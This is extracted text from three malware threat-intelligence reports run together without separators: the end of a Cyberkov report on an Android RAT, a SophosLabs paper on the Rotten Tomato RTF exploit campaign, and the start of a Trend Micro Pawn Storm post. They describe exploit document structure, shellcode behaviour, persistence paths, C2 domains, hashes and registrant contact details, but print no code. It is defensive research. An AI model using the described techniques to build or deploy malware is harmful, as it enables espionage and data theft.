Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     14 14 Hunting Libyan Scorpions The malware uses RootTools and RootShell components to make root privileged tasks easy in Android.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     15 15 Hunting Libyan Scorpions The picture below showing that the malware is capable of taking pictures from the camera of the compromised device and upload it to the C2.
The malware begins by implementing a Trust Manager that accepts all certificates so that Libyan Scorpions hackers are sure no victim left disconnected due to SSL certificates issues.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     16 16 Hunting Libyan Scorpions The malware is able to turn the Android phone into a remote listening bug by opening the Microphone and recording the audio then send it to the C2.
The malware is able to browse the files and folders stored inside the Android device.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     17 17 Hunting Libyan Scorpions The malware is able to monitor the physical location of the compromised Android device.
The malware is able to get the call logs along with phone numbers, duration and date and time of each call.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     18 18 Hunting Libyan Scorpions The malware is able to read the SMS messages and the list of contacts saved in the device.
Besides, the malware is able to get the phone number, country and network operator name from cellular towers of the telecom company of the target.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     19 19 Hunting Libyan Scorpions The malware uses Allatori Java Obfuscator to protect the code and make it harder to reverse engineer and it obviously uses communication protocol based on Java JSON objects encapsulated in SSL connection wrapper.
Again, this behavior and characteristics of the malware is very similar to JSocket and AlienSpy Android RATs.
After finalizing the analysis of the Android malware, Cyberkov uploaded it to VirusTotal to see if it has been uploaded before and what information we can get from it: Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     20 20 Hunting Libyan Scorpions Cyberkov discovered that the malware has not been uploaded to VirusTotal before and the first sample of this malware has been uploaded by us.
However, 8 out of 54 AntiVirus engines detect it which is a very low detection rate (15).
Most and major American top Gartner Antivirus companies did not detect it Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     21 21 Hunting Libyan Scorpions Command and Control Communication Cyberkov tried to discover the attacker behind this malicious application by sinkholing the malware and analyzing the real C2.
Sinkhole Cyberkov created a fake server simulating the real C2 of the Libyan Scorpions hacking group and sinkholed the malware to study the behavior of the malware deeply.
Upon connection to the C2, the malware sends a lot of information about the target including: Country, Malware Path, Local IP Address, RAM, Android Version, Device Name, , etc.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     22 22 Hunting Libyan Scorpions The fake C2 server is able to send fake commands to the malware and read the reply as well.
Those commands (103, 104 and 105) correspond to the following list of commands defined in the malware: Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     23 23 Hunting Libyan Scorpions Each number corresponds to one command to be done by the malware.
For example, the command (111) uninstalls the real application URLShortener: Will result in: Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     24 24 Hunting Libyan Scorpions Real C2 By connecting to the real C2 IP address, Cyberkov found that the malware is really of JSocket/AlienSpy family of RATs since that family of RATs open the port 1234 with a self-signed certificate of assylias2.
According to Shodan, the port (1234) has been spotted open since 12-07-2016 which is 25 days before the first discovery.
2 https://www.fidelissecurity.com/sites/default/files/FTA_1019_Ratcheting_Down_on_JSocket_A_PC_and_Android_Thre at_FINAL.pdf https://www.fidelissecurity.com/sites/default/files/FTA_1019_Ratcheting_Down_on_JSocket_A_PC_and_Android_Threat_FINAL.pdf https://www.fidelissecurity.com/sites/default/files/FTA_1019_Ratcheting_Down_on_JSocket_A_PC_and_Android_Threat_FINAL.pdf Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     25 25 Hunting Libyan Scorpions Threat Actor and Attribution Seems like the Libyan Scorpions threat actors are running multiple Android RATs since numerous ports protected by SSL layer are open in (winmeif.myq-see.com) machine.
Also, the Libyan Scorpions threat actors left phpinfo.php script on the webserver running on port 80 with useful information that could expose them.
Their machine is running Windows 7 Professional Service Pack 1.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     26 26 Hunting Libyan Scorpions Username of the Windows machine is admin.
The computer name of Windows machine is ADMIN.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     27 27 Hunting Libyan Scorpions The Libyan Scorpions threat actors use a Dell laptop and have Skype installed and are setting behind a NAT and their internal IP address is 192.168.1.16 The attackers also have a PhpMyAdmin script installed in their machine: Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     28 28 Hunting Libyan Scorpions Cyberkov Security Incident Response Team (CSIRT) tried to brute force the password of the database using the top most common 100 passwords.
Unfortunately, the attempt failed.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     29 29 Hunting Libyan Scorpions Threat Actors Infrastructure Going back to the IP address of the attackers (41.208.110.46), it is very important to discover the attackers infrastructure that maybe used to launch wider attacks using multiple RATs on multiple platforms.
By using Threat Intelligence Platforms and Feeds such as PassiveTotal, Cyberkov was able to discover more activities and campaigns run by Libyan Scorpions.
The following Heatmap shows that the IP address (41.208.110.46) has been used to launch attacks since 9/9/2015 until the time of writing this report using 5 different hostnames and multiple malicious malwares.
The following table summarizes the list of hostnames used by the attacker(s): Hostname First Seen Last Seen Samsung.ddns.me 26-04-2016 08-09-2016 Wininit.myq-see.com 24-05-2016 22-08-2016 Winmeif.myq-see.com 07-08-2016 22-08-2016 Collge.myq-see.com 09-09-2015 22-08-2016 Sara2011.no-ip.biz 08-10-2015 08-10-2015 Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     30 30 Hunting Libyan Scorpions All of the hostnames point to the same C2 IP address used by the attackers (but sara2011.no-ip.biz): Also, using PassiveTotal, the C2 is connected to 2 more malwares used by the attackers having the following hashes (MD5): 1738ecf69b8303934bb10170bcef8926 93ebc337c5fe4794d33df155986a284d The first hash in the above picture is for the malware Voice Massege.apk which we have analyzed already.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     31 31 Hunting Libyan Scorpions The second hash (1738ecf69b8303934bb10170bcef8926) is named (Benghazi.exe) and have detection rate of 21 out of 56 (37.5) and has been uploaded first time to VirusTotal on 23-04-2016.
Notice that this malware targets Windows machines and not Android smartphones.
It is compiled on 15-04- 2016 and is coded in Visual Basic.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     32 32 Hunting Libyan Scorpions The third hash (93ebc337c5fe4794d33df155986a284d) is a DroidJack, a malicious attacking platform, targeting android smartphones.
Also, the name of activities and services contains net.droidjack.server name which makes us sure it is DroidJack malware.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     33 33 Hunting Libyan Scorpions To Be Continued Cyberkov will continue investigating Libyan Scorpions hacking group operating in Libya and will update this report with a follow-up reports regarding any future cyber activities.
Mitigating Libyan Scorpions Attacks on Android Cyberkov recommends the following points in order to protect the victims from such malwares: Update your Android operating system regularly Install DrWeb Security Space for Android (A leading Russian AntiVirus Company) Use of DrWeb Telegram Bot (DrWebBot) to scan links and files shared on Telegram chats or groups Install Zemana Mobile AntiVirus (A leading Turkish AntiMalware and AntiFraud Company) Never install applications from unknown sources Use Telegram with Secret Chat feature only Always verify with your partners when sending and receiving files Indicators of Compromise (IOCs) The following table summarizes the list of indicators to detect the malware: Type Indicator Sha256 9d8e5ccd4cf543b4b41e4c6a1caae1409076a26ee74c61c148dffd3ce87d7787 Sha256 4e656834a93ce9c3df40fe9a3ee1efcccc728e7ea997dc2526b216b8fd21cbf6 Sha256 e66d795d0c832ad16381d433a13a2cb57ab097d90e9c73a1178a95132b1c0f70 Md5 1738ecf69b8303934bb10170bcef8926 Md5 93ebc337c5fe4794d33df155986a284d Md5 1c8a1aa75d514d9b1c7118458e0b8a14 Sha1 41096b7f808a91ee773bbba304ea2cd0fa42519d Sha1 46d832a9c1d6c34edffee361aca3de65db1b7932 Sha1 2e2d1315c47db73ba8facb99240ca6c085a9acbc Filename Voice Massege.apk Filename Benghazi.exe Filename VPN.apk IP 41.208.110.46 Domain winmeif.myq-see.com Domain Wininit.myq-see.com Domain Samsung.ddns.me Domain Collge.myq-see.com Domain Sara2011.no-ip.biz
A SophosLabs technical paper  October 2014 By Gabor Szappanos, Principal Researcher, SophosLabs Hungary The Rotten Tomato Campaign 1A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign Contents Overview 2 Template 1: CVE-2012-0158  CVE-2014-1761 Combo 2 First attempt: Plugx 3 Template 2: Goldsun 4 Second attempts 5 Plugx 6 Appat 10 Others 12 Successful intergrations 13 Detour: Plugx 16 Conclusion 20 References 20 2A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign Overview Malware authors are not shy about borrowing ideas.
One of the most typical cases is the Tomato Garden case,1 where several different groups used the same zero-day Microsoft Word exploit.
The term used means that they somehow get hold of a document that exploited the vulnerability, and then left the exploiting document part and the shellcode intact, only changed the appended encrypted executable at the end, and immediately they had what needed.
Something very similar happened just recently, in August and September of 2014.
I always wanted to know how the malware writing groups worked.
I mean the really serious ones, the ones behind Chinese state-sponsored APT attacks, or the groups behind high profile common malware, like Zeus.
This case offers another piece of insight.
There must have been a staff meeting, where the manager prompted that, in the next malware distribution campaign they should not only use the aging CVE-2012-0158 vulnerability, but the newer CVE-2014-1761 as well.
The rest of the document will detail how some of the groups coped with this task.
Clearly, the malware authors took a sample somehow and started the implementation process.
I wasnt there, of course, so what follows is an educated guess based on the samples.
Template 1: CVE-2012-0158  CVE-2014-1761 Combo Recently we saw a lot of samples that exploit both CVE-2012-0158 and CVE-2014-1761, and usually either download or drop a Zbot variant.
The document starts with the RTF header stuff, followed by the encrypted second stage.
This is followed by the embedded object exploiting the CVE-2012-0158 vulnerability with the shellcode.
Following it is a block exploiting the CVE-2014-1761 with a shellcode of its own, as illustrated in the image below.
The color scheme I will use in the rest of the document is the following: green represents the properly used components yellow the unused components and red the incorrectly used components.
Regardless of the particular exploit used, both shellcodes performed the memory egg-hunting for the memory markers of the second stage (as described in2), and decrypted it when found.
The second stage could be either a downloader shellcode or a Win32 executable.
One of these samples was SHA1: c3a7cb43ec13299b758cb8ca25eace71329939f7, which contained an encrypted Zbot variant3 at the beginning of the RTF.
It looks very likely that this sample was used as a development template for the other malware writing groups.
Encrypted Zbot CVE-2012-0158 exploit and Zbot shellcode CVE-2014-1761 exploit and Zbot shellcode 3A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign First attempt: Plugx The first attempt must have come from the group deploying Plugx.
They took the above mentioned sample, and made some modifications to it.
The result looks like this one: I can only guess that they didnt understand the CVE-2014-1761 component, and thought that there was only one shellcode, in the CVE-2012-0158 segment.
So they appended the encrypted Plugx executable, and replaced the first shellcode with their own.
This shellcode contains the hardcoded offset of the embedded executable, and decrypts from there.
However, they left intact the encrypted Zbot executable at the beginning of the file and the second vulnerability, making this sample a real dual weapon: not only that it exploits two vulnerabilities, but contains two totally different payloads.
However, Word can only be exploited once: during the exploitation procedure the current instance of Word exits, and a new one is started that displays the decoy document.
So this creates a race condition: whichever vulnerability is triggered first (or gets lucky in an environment where the other one is patched) will have the chance to run its own payload.
13effaca957cc362bdcbfdd05b5763205b53d9ca Original name: N/A System activity Dropped to C:\Documents and Settings\All Users\DRM\AShld\drmupgds.exe (clean loader digitally signed by Microsoft) and C:\Documents and Settings\All Users\DRM\AShld\BlackBox.
DLL (malware loader) and C:\Documents and Settings\All Users\DRM\AShld\BlackBox.
BOX (payload) registered in HKLM\SYSTEM\CurrentControlSet\Services\BlackBox  ImagePath The payload is next-generation Plugx,4 plugin function creation dates are 0x20130810.
Encrypted Zbot CVE-2012-0158 exploit and Plugx shellcode CVE-2014-1761 exploit and Zbot shellcode Encrypted Plugx 4A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign CC servers chromeupdate.authorizeddns.org Dynamic DNS service googlesupport.proxydns.com Dynamic DNS service Template 2: Goldsun At some point they must have realized that it was wrong and tried to fix the CVE-2014-1761 part.
For that, they took another recent sample, something similar to those that drop Goldsun Trojans (like this SHA1: e2474cc0da5a79af876771217eb81974e73c39e5) In this case, the RTF only contains the CVE-2014-1761 vulnerability, with an appended executable.
The vulnerability expects the second stage shellcode at a fixed file offset, checks a marker string there (p11), and jumps to the second stage, which then decrypts and executes the final Win32 payload.
5A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign Second attempts A large group of samples were created by a sort of a fusion of the Zbot and the Goldsun samples, resulting in a structure like this one: So now there are two different shellcodes.
The first, from Plugx, reads the length of the embedded decoy document and Win32 payload from the end of the file, and using this info locates and decrypts the appended payload.
This shellcode identifies the host document by checking if the last dword is the same as the dword before that rotated by 3.
And the same holds for another two dwords before that.
These dwords also store the length of the appended PE payload and decoy document lengths.
This structure makes it possible to swap the payload without changing the exploit and shellcode part.
The shellcode from Goldsun executes the second stage code from a fixed offset.
CVE-2014-1761 exploit and Goldsun shellcode Memory marker and Goldsun second stage shellcode Start marker and encrypted Goldsun Encrypted Zbot CVE-2012-0158 exploit and Plugx shellcode CVE-2014-1761 exploit and Goldsun shellcode Memory marker and Goldsun second stage shellcode Encrypted Plugx Blank 6A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign There are a couple of problems with this implementation.
First, the defunctional encrypted Zbot remains in these files, with no purpose at all.
But the real problem is with the Goldsun style CVE-2014-1761 block.
It was snatched from the CVE-2014-1761 exploiting document, and pasted after the existing ZbotCVE-2012-0158 combo.
Clearly, the offset where the second stage code would be shifted with the different prepended content, but it never happened.
As a result, the CVE-2014-1761 exploitation doesnt work, despite all the efforts of the malware authors.
A couple of distinct malware groups were identified that use these schematics.
Plugx All of these samples are Plugx v2 samples.4 Most of the time they use Russian related themes in the decoy document.
21b3e540746816c85e5270a1b8bb58bf713ff5f5 Original name: N/A The dropped decoy document doesnt contain anything, it is only blank page.
System activity Dropped to C:\Documents and Settings\All Users\DRM\usta\usha.exe (clean loader, digitally signed by Kaspersky) and C:\Documents and Settings\All Users\DRM\usta\ushata.dll (malware loader) and C:\Documents and Settings\All Users\DRM\usta\ushata.dll.avp (payload) registered for startup as a service in HKLM\SYSTEM\CurrentControlSet\Services\usta  ImagePath The payload is next generation Plugx,4 plugin function creation dates are 0x20130810 CC servers www.notebookhk.net Registry Registrant ID: Registrant Postal Code: 796373 Registrant Name: lee stan Registrant Country: HK Registrant Organization: lee stan Registrant Phone: 0.04375094543 Registrant Street: xianggangdiqu Registrant Fax: 0.04375094543 Registrant City: xianggangdiqu Registrant Email: stanleegmail.com Registrant State: xianggang 80f965432ce872fc3592d9f907d5a4f66ab07f9c Original name:   16.09.2014.doc 7A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\DRM\AShld\AShld.exe (clean loader, digitally signed by McAfee) and C:\Documents and Settings\All Users\DRM\AShld\AShldRes.
DLL (malware loader) and C:\Documents and Settings\All Users\DRM\AShld\AShldRes.
DLL.asr (payload) registered for startup as a service in HKLM\SYSTEM\CurrentControlSet\Services\ AShld  ImagePath The payload is next generation Plugx,4 plugin function creation dates are 0x20130810.
CC servers dwm.dnsedc.com Registry Registrant ID: Registrant Country: CN Registrant Name: qiuping liu Registrant Phone: 86.1052810955 Registrant Organization: huajiyoutian Registrant Phone Ext: Registrant Street: beijing Registrant Fax: 89.1052810955 Registrant City: Beijing Registrant Fax Ext: Registrant State/Province: BJ Registrant Email: yuminga1126.com Registrant Postal Code: 100191 Two of the Plugx samples turned out to be very new developments.
Similar samples were just recently encountered from the list generated by a researcher.5 176273806e6fe338123ff660e70145935bac77c3 Original name: .doc 8A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\DRM\KavSky\msinfo.exe (clean loader by Kaspersky) and C:\Documents and Settings\All Users\DRM\KavSky\msi.dll (malware loader) and C:\Documents and Settings\All Users\DRM\KavSky\msi.dll.eng (payload) registered in for startup as a service in HKLM\SYSTEM\CurrentControlSet\Services\KavSky  ImagePath The payload is next generation Plugx [4], plugin function creation dates are 20140719 (and interestingly, decimal and not hexadecimal, as generally seen in Plugx).
Additionally, it has some internal function names not seen in earlier Plugx versions: ZX, ZXWT, JP1, JP2, JP3, JP4, JP5, JAP0, JAP1 CC servers futuresgolda.com Registry Registrant ID: Registrant Country: CN Registrant Name: qiuping liu Registrant Phone: 86.1052810955 Registrant Organization: huajiyoutian Registrant Phone Ext: Registrant Street: beijing Registrant Fax: 89.1052810955 Registrant City: Beijing Registrant Fax Ext: Registrant State/Province: BJ Registrant Email: yuminga1126.com Registrant Postal Code: 100191 adobeflashupdate.dynu.com systemupdate5.dtdns.com Dynamic DNS service Dynamic DNS service 4ad76ce333b38c5bdd558e3d76640fa322e3cca6 Original name: 2014 Chairmanship_end.doc 9A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\DRM\KavSky\m.exe (clean loader, digitally signed by Kaspersky) and C:\Documents and Settings\All Users\DRM\KavSky\msi.dll (malware loader) and C:\Documents and Settings\All Users\DRM\KavSky\msi.dll.eng (payload) registered in for startup as a service in HKLM\SYSTEM\CurrentControlSet\Services\KavSky  ImagePath The payload is next generation Plugx,4 plugin function creation dates are 20140719 decimal.
Additionally, it has some internal function names not seen in earlier Plugx versions: ZX, ZXWT, JP1, JP2, JP3, JP4, JP5, JAP0, JAP1 This sample used a Myanmar related decoy theme, likely part of a separate distribution campaign.
CC servers indiasceus.jetos.com indiasceus.justdied.com Dynamic DNS service Dynamic DNS service 10A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign Appat These are new Trojans.
Not connected to Plugx at code level, but the overlap between the CC servers, the same domain registration contact (yuminga1126.com), and the similar Russian theme indicates that the same group deployed them.
0dfd883c1f205f0740d50688683f1869bcc0e9d7 Original name:     2021-2025 .doc System activity Dropped to WINDOWS\AppPatch\AcProtect.dll (SHA1: 994be9c340f57ba8cbb20b7ceedad49b00294f3e) and WINDOWS\AppPatch\msimain.mui (separate payload file).
Registered for startup with unusual autostart method, briefly touched in.7 A Microsoft patch file is dropped to WINDOWS\AppPatch\Custom\099BF1AE-6A93- 493D-0C48-2453E7FBC801.sdband registered to load in HKLM\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB.
That file loads AcProtect.dll as a library component.
The dumped payload shows similar functionality to what Plugx (or any other general purpose backdoor) has, but on a code level it is very different.
11A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign CC servers adobeflashupdate.dynu.com Dynamic DNS service transactiona.com Domain Status: clientTransferProhibited Registrant Postal Code: 100191 Registry Registrant ID: Registrant Country: CN Registrant Name: qiuping liu Registrant Phone: 86.1052810955 Registrant Organization: huajiyoutian Registrant Phone Ext: Registrant Street: beijing Registrant Fax: 89.1052810955 Registrant City: Beijing Registrant Fax Ext: Registrant State/Province: BJ Registrant Email: yuminga1126.com systemupdate5.dtdns.com Dynamic DNS service 9bc128f120996677d3c4f7c1d7506315b232e49e Original name:     2015-2020 .doc System activity Dropped to PROFILE\Local Settings\Temp\3.tmp 64 bit malware components, refer to the same files names that are used by 0dfd883c1f205f0740d50688683f1869bcc0e9d7 CC servers: N/A 12A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign Others There were a few other samples, but all single.
Kamics :712df1f1f11f63e2154eb9023d584be62ef100b8 Original name: N/A The dropped decoy document is a password protected Word file, content is not visible in the lack of the correct password.
System activity Dropped to PROFILE\Local Settings\Temp\msvcpdl100.dll (SHA1: 51346d70ea97a7aaef80f98c4891526443b2696c) and C:\MsBuild\Microsoft\Windows\System32\ svchost.exe (SHA1: 2196770391bdbdd15bce5895427ec99b1bef0868) registered for startup in HKCU\Software\Microsoft\Windows\CurrentVersion\Run  Kaspersky Internet Security CC servers buglaa.sportnewsa.net Farfli: 960ac7329a6e80682959d6da0469921f8167e79a Original name: MoFA Note- Verbale on 19.8.14.doc System activity Dropped to PROFILE\Application Data\winlog.exe (SHA1: 511f2055a56c0f458b1b14cc207730d0fe639df4) and PROFILE\Application Data\winlog.dll (SHA1: bb185efd35f7b4892a32e7853e044e94502a36af) 13A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign CC servers unisers.com Domain Status: clientTransferProhibited Registrant State: Beijing Registry Registrant ID:  Registrant Postal Code: 100001 Registrant Name: wang cheng Registrant Country: CN Registrant Organization: wang cheng Registrant Phone: 86.01085452454 Registrant Street: BeijingDaguoROAD136 Registrant Fax: 86.01085452454 Registrant City: Beijing Registrant Email: bitumberls.163.com Successful integrations But not all were failures.
There were two samples that followed the above structure, and the Goldsun shellcode offset was fixed.
However, both samples were only dropping and executing a Chinese nationalized version of calc.
exe  these are clearly test samples from China.
Furthermore, a couple of common malware samples were found with fixed second stage offsets, showing that at least these guys know what they are doing.
Still, they kept the inactive encrypted Zbot at the beginning of the document.
Zbot Among the samples conventional Zbots variants were also found.
These showed up in Middle Eastern countries, and have Arabic themes as a decoy.
a44308788bbd189e532745a79d126feaf708c3cd Original name:     .doc Encrypted Zbot CVE-2012-0158 exploit and Plugx shellcode CVE-2014-1761 exploit and Goldsun shellcode Memory marker and Goldsun second stage shellcode Encrypted Zbot 14A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign System activity Dropped to PROFILE\Application Data\Yhyq\sied.exe (random directory and filename) registered for startup in HKCU\Software\Microsoft\Windows\CurrentVersion\Run  Opagw CC servers www.starorder.ezua.com Dynamic DNS service pop3.sec-homeland.com Domain Status: OK Registry Registrant ID: Registrant Country: China Registrant Name: dfhgewy Registrant Phone: 086.0000 00000000 Registrant Organization: dfhgewy Registrant Phone Ext: Registrant Street: dfhgewy Registrant Fax: 086.0000 00000000 Registrant City: Unknown City Registrant Fax Ext: Registrant State/Province: Unknown Province Registrant Email: joiupnhs163.com Registrant Postal Code: 000000 d05e586251b3a965b9c9af76568eff912e16432f Original name:    .doc 15A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign System activity Dropped to PROFILE\Application Data\Hysyt\ydbi.exe (random directory and filename) registered for startup in HKCU\Software\Microsoft\Windows\CurrentVersion\Run  Pecyiqu CC servers www.starorder.ezua.com Dynamic DNS service pop3.sec-homeland.com Domain Status: OK Registrant Postal Code: 000000 Registry Registrant ID: Registrant Country: China Registrant Name: dfhgewy Registrant Phone: 086.0000 00000000 Registrant Organization: dfhgewy Registrant Phone Ext: Registrant Street: dfhgewy Registrant Fax: 086.0000 00000000 Registrant City: Unknown City Registrant Fax Ext: Registrant State/Province: Unknown Province Registrant Email: joiupnhs163.com Swrort: fa616b8e2f91810a8d036ba0adca6df50da2ad22 Original name: test.doc 16A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign System activity Dropped to PROFILE\Local Settings\Temp\3.tmp CC servers Detour: Plugx During the analysis of this campaign we ran into a handful of samples that have nothing to do with CVE-2014-1761, but they contained some of the encrypted Zbot at the beginning of the file.
The end of encrypted PE is truncated, and the CVE-2012-0158 code is replaced with the Plugx shellcode.
Interestingly, there is another shellcode, which is starts with the same marker (p11) as the Goldsun second stage code, but the execution logic is the same as the Plugx shellcode.
However, this shellcode just hangs in the air, no execution path leads to it.
It is not clear, where these samples fit in the development path, could be that after the failure to integrate CVE-2014-1761, the corresponding part was simply ditched from the samples.
6f845ef154a0b456afcf8b562a0387dabf4f5f85 Original name: Indian Cooking Recipe.doc Encrypted Zbot CVE-2012-0158 exploit and Plugx shellcode Memory marker and Plugx  second stage shellcode Encrypted Plugx 17A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (clean loader digitally signed by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls  ImagePath The payload is next generation Plugx,4 plugin function creation dates are 0x20130524 CC servers supercat.strangled.net Free domain sharing a97827aef54e7969b9cbbec64d9ee81a835f2240 Original name: Calling Off India-Pak Talks.doc 18A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (clean loader digitally signed by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls  ImagePath The payload is next generation Plugx,4 plugin function creation dates are 0x20130524 CC servers nusteachers.no-ip.org Dynamic DNS service e8a29bb90422fa6116563073725fa54169998325 Original name: Human Rights Violations of Tibet.doc 19A SophosLabs technical paper  October 2014 The Rotten Tomato Campaign System activity Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (clean loader digitally signed by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload) registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls  ImagePath The payload is next generation Plugx,4 plugin function creation dates are 0x20130524.
CC servers ruchi.mysq1.net Dynamic DNS service 19e9dfabdb9b10a90b62c12f205ff0d1eeef3f14 This is not a Plugx sample, but a Nineblog variant.8 Original name: ghozaresh amniyati.doc System activity Dropped to PROFILE\Application Data\Erease.vbe, that connects to the CC server.
The dropped decoy document is bogus, a truncated copy of the exploited document.
CC servers: www.freetimes.dns05.com Dynamic DNS service The Rotten Tomato Campaign Conclusion Apart from the lesson learned about malware development, what can we learn from this process?
The partially successful Plugx attempt raises a few questions.
Should it be considered as a common cybercrime sample (as the dropped Zbot suggests) or as an APT (as Plugx does)?
Actually, it depends on the patch level of the targeted computer.
The narrow line between APT and common malware shrank to zero with that sample.
We have seen earlier6 that authors of common malware are getting the idea of document-based exploitation from the APT players.
Now it is swinging back  targeted attack players are snatching ideas from the other group.
The fact that the attempt was less successful does not deny the fact that a symbiosis exists between the two distinct criminal groups, and ideas are floating in both directions.
References: 1.
http://blog.malwaretracker.com/2013/06/tomato-garden-campaign-part-2-old-new.html 2.
http://www.securelist.com/en/analysis/204792298/The_ curious_case_of_a_CVE_2012_0158_exploit 3.
https://www.virustotal.com/en-gb/file/3ba00f684daf0f9f2c1bef093 4f1af73c7dabd44a13070b64de34c0754110aa3/analysis/ 4.
https://nakedsecurity.sophos.com/2014/06/30/from-the-labs-plugx-the-next-generation/ 5.
http://blog.9bplus.com/watching-attackers-through-virustotal/ 6.
https://nakedsecurity.sophos.com/2014/03/11/on-the-trail-of-advanced-persistent-threats/ 7.
http://www.arcticadv.com/free/ebook/pdf/sdb-explorer-exe-black-hat.html 8.
http://www.fireeye.com/blog/technical/malware-research/2013/08/ the-curious-case-of-encoded-vb-scripts-apt-nineblog.html Oxford, UK  Boston, USA Copyright 2014.
Sophos Ltd. All rights reserved.
Registered in England and Wales No.
2096520, The Pentagon, Abingdon Science Park, Abingdon, OX14 3YP, UK Sophos is the registered trademark of Sophos Ltd. All other product and company names mentioned are trademarks or registered trademarks of their respective owners.
10.14RG.tpna.simple United Kingdom and Worldwide Sales Tel: 44 (0)8447 671131 Email: salessophos.com North American Sales Toll Free: 1-866-866-2802 Email: nasalessophos.com Australia and New Zealand Sales Tel: 61 2 9409 9100 Email: salessophos.com.au Asia Sales Tel: 65 62244168 Email: salesasiasophos.com Overview Deployment Payload Final payload Conclusion Appendix References
Feike Hacquebord (Senior Threat Researcher) January 12, 2018 Update on Pawn Storm: New Targets and Politically Motivated Campaigns blog.trendmicro.com/trendlabs-security-intelligence/update-pawn-storm-new-targets-politically-motivated-campaigns/ In the second half of 2017 Pawn Storm, an extremely active espionage actor group, didnt shy away from continuing their brazen attacks.
Usually, the groups attacks are not isolated incidents, and we can often relate them to earlier attacks by carefully looking at both technical indicators and motives.
Pawn Storm has been attacking political organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States since 2015.
We saw attacks against political organizations again in the second half of 2017.
These attacks dont show much technical innovation over time, but they are well prepared, persistent, and often hard to defend against.
Pawn Storm has a large toolset full of social engineering tricks, malware and exploits, and therefore doesnt need much innovation apart from occasionally using their own zero-days and quickly abusing software vulnerabilities shortly after a security patch is released.
In summer and fall of 2017, we observed Pawn Storm targeting several organizations with credential phishing and spear phishing attacks.
Pawn Storms modus operandi is quite consistent over the years, with some of their technical tricks being used repeatedly.
For example, tabnabbing was used against Yahoo users in August and September 2017 in US politically themed email.
The method, which we first discussed in 2014, involves changing a browser tab to point to a phishing site after distracting the target.
We can often closely relate current and old Pawn Storm campaigns using data that spans more than four years, possibly because the actors in the group follow a script when setting up an attack.
This makes sense, as the sheer volume of their attacks requires careful administration, planning, and organization to succeed.
The screenshots below show two typical credential phishing emails that targeted specific organizations in October and November 2017.
One type of email is supposedly a message from the targets Microsoft Exchange server about an expired password.
The other says there is a new file on the companys OneDrive system.
1/4 https://blog.trendmicro.com/trendlabs-security-intelligence/update-pawn-storm-new-targets-politically-motivated-campaigns/ https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/espionage-cyber-propaganda-two-years-of-pawn-storm http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps-up-spear-phishing-before-zero-days-get-patched/ http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-putting-outlook-web-access-users-at-risk/ Figure 1.
